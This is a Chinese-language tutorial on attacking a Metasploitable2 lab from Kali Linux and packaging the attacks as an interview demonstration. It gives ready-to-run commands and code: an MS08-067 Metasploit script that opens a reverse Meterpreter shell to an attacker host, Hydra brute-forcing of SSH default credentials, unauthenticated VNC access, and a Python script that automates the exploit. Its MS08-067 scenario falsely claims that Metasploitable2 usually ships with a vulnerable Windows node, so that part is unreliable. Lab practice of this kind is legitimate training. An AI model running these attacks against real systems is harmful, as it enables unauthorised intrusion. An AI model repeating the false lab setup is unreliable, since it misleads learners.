基于 Metasploitable2 的渗透测试环境构建与实战演练
Metasploitable2 靶场特性分析
对于安全研究人员和初学者而言,构建真实的漏洞环境往往面临较高的时间与硬件成本。Metasploitable2 作为一个专门设计的脆弱系统镜像,提供了极佳的练习平台。其核心优势在于预置了丰富的经典漏洞(如 SMB 远程执行、弱口令服务、未授权访问等),且能够与 Kali Linux 等主流攻击机无缝配合,帮助学习者完整体验从信息收集到权限获取的标准化渗透流程。
基础环境拓扑搭建
1. 虚拟化平台与镜像准备
推荐使用 VMware Workstation 或 VirtualBox 作为底层虚拟化平台。需要准备以下两个核心镜像:
- 攻击机:Kali Linux(预装 Nmap、Metasploit、Hydra 等安全工具)。
- 目标靶机:Metasploitable2(基于 Ubuntu 的定制漏洞系统)。
2. 网络配置与连通性验证
为确保攻击机与靶机处于同一广播域且能互相通信,需将两者的网络适配器均配置为 NAT 模式或 Host-Only(仅主机)模式。
启动 Metasploitable2 后,使用默认凭证(用户名:msfadmin,密码:msfadmin)登录系统,并通过 ifconfig 或 ip a 命令获取其 IP 地址。随后在 Kali Linux 终端中执行 ICMP 测试以验证网络连通性:
ping -c 4 $TARGET_IP
实战场景一:SMB 服务远程代码执行 (MS08-067)
1. 漏洞机制简述
MS08-067 是 Windows Server 服务中处理 RPC 请求时存在的缓冲区溢出漏洞。攻击者可通过构造恶意的 SMB 数据包,在未经身份验证的情况下触发漏洞并执行任意代码。虽然 Metasploitable2 本身是 Linux 系统,但其通常会附带或可通过嵌套虚拟机运行存在该漏洞的 Windows 节点以供演示。
2. 渗透执行流
首先,使用 Nmap 对目标进行服务指纹识别与端口探测:
nmap -sV -sC -p 139,445 $TARGET_IP
确认 445 端口开放且运行 Microsoft SMB 服务后,利用 Metasploit 框架进行漏洞利用。为提高操作效率并便于面试展示,可编写资源脚本(Resource Script)来自动化配置过程:
# 创建 ms08_067.rc 文件
use exploit/windows/smb/ms08_067_netapi
set RHOSTS $TARGET_IP
set LHOST $ATTACKER_IP
set PAYLOAD windows/meterpreter/reverse_tcp
set ExitOnSession false
exploit -j
在终端中加载该脚本并执行攻击:
msfconsole -r ms08_067.rc
成功获取 Meterpreter 会话后,可通过 getuid 验证权限级别,并使用 sysinfo 获取目标系统详细信息,从而证明已完全控制目标主机。
实战场景二:SSH 凭证枚举与爆破
1. 漏洞机制简述
SSH 服务若配置了弱密码或默认凭证,极易遭受字典攻击。Metasploitable2 默认开启了 SSH 服务(22 端口),且存在多个已知弱口令账户。
2. 渗透执行流
使用 Nmap 确认 SSH 端口状态及支持的认证方式:
nmap -p 22 --script ssh-auth-methods $TARGET_IP
确认支持密码认证后,使用 Hydra 进行并发爆破。此处采用组合字典模式以提升演示的专业度:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -t 4 -f $TARGET_IP ssh
参数 -C 指定包含 "username:password" 格式的组合字典,-t 控制并发线程数,-f 表示找到第一组有效凭证后即刻停止。获取凭证后,通过标准 SSH 客户端登录并执行 id 和 uname -a 命令以验证控制权。
实战场景三:VNC 身份验证绕过
1. 漏洞机制简述
VNC (Virtual Network Computing) 服务在配置不当时,可能允许无密码访问(Security Type 为 None)。这会导致攻击者直接获取目标的图形化桌面控制权。
2. 渗透执行流
利用 Nmap 的 NSE 脚本探测 VNC 服务的认证类型:
nmap -p 5900 --script vnc-info $TARGET_IP
当输出结果提示 Security types: None 时,表明存在未授权访问漏洞。使用 VNC 客户端直接发起连接:
xtightvncviewer $TARGET_IP:5900
连接建立后,无需输入任何密码即可进入目标系统的桌面环境。此场景视觉冲击力强,非常适合在技术面试中作为快速展示项。
面试展示策略与自动化封装
1. 流程自动化脚本设计
在面试环境中,手动逐行输入命令容易因紧张导致失误。建议将信息收集与漏洞利用逻辑封装为 Python 脚本,实现一键化演示。以下是一个重构后的自动化执行示例:
import subprocess
import sys
def execute_reconnaissance(target_host):
print(f"[*] Initiating port scan on {target_host}...")
subprocess.run(["nmap", "-sV", "-p", "22,445,5900", target_host], check=True)
def trigger_smb_exploit(target_host, attacker_host):
print("[*] Generating Metasploit resource script...")
rc_payload = f"""
use exploit/windows/smb/ms08_067_netapi
set RHOSTS {target_host}
set LHOST {attacker_host}
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
"""
with open("auto_exploit.rc", "w") as file:
file.write(rc_payload)
print("[*] Launching MSFConsole...")
subprocess.run(["msfconsole", "-q", "-r", "auto_exploit.rc"])
if __name__ == "__main__":
TARGET = "192.168.100.50"
LHOST = "192.168.100.10"
execute_reconnaissance(TARGET)
trigger_smb_exploit(TARGET, LHOST)
2. 常见故障排查指南
- 网络隔离问题:若攻击机无法 ping 通靶机,需检查虚拟网络编辑器的子网掩码及 DHCP 设置,确保两者处于同一逻辑网段,并关闭靶机内部的 iptables 防火墙(
sudo iptables -F)。 - Exploit 会话未建立:当 Metasploit 提示 "Exploit completed, but no session was created" 时,通常是因为目标系统架构与 Payload 不匹配,或目标端存在防病毒软件拦截。可尝试更换
windows/shell/reverse_tcp等基础 Payload 进行测试。 - VNC 连接被拒:若 VNC 客户端提示连接失败,需确认目标监听的显示编号。VNC 端口计算公式为
5900 + 显示编号,可通过netstat -tlnp | grep vnc在靶机上核实实际监听端口。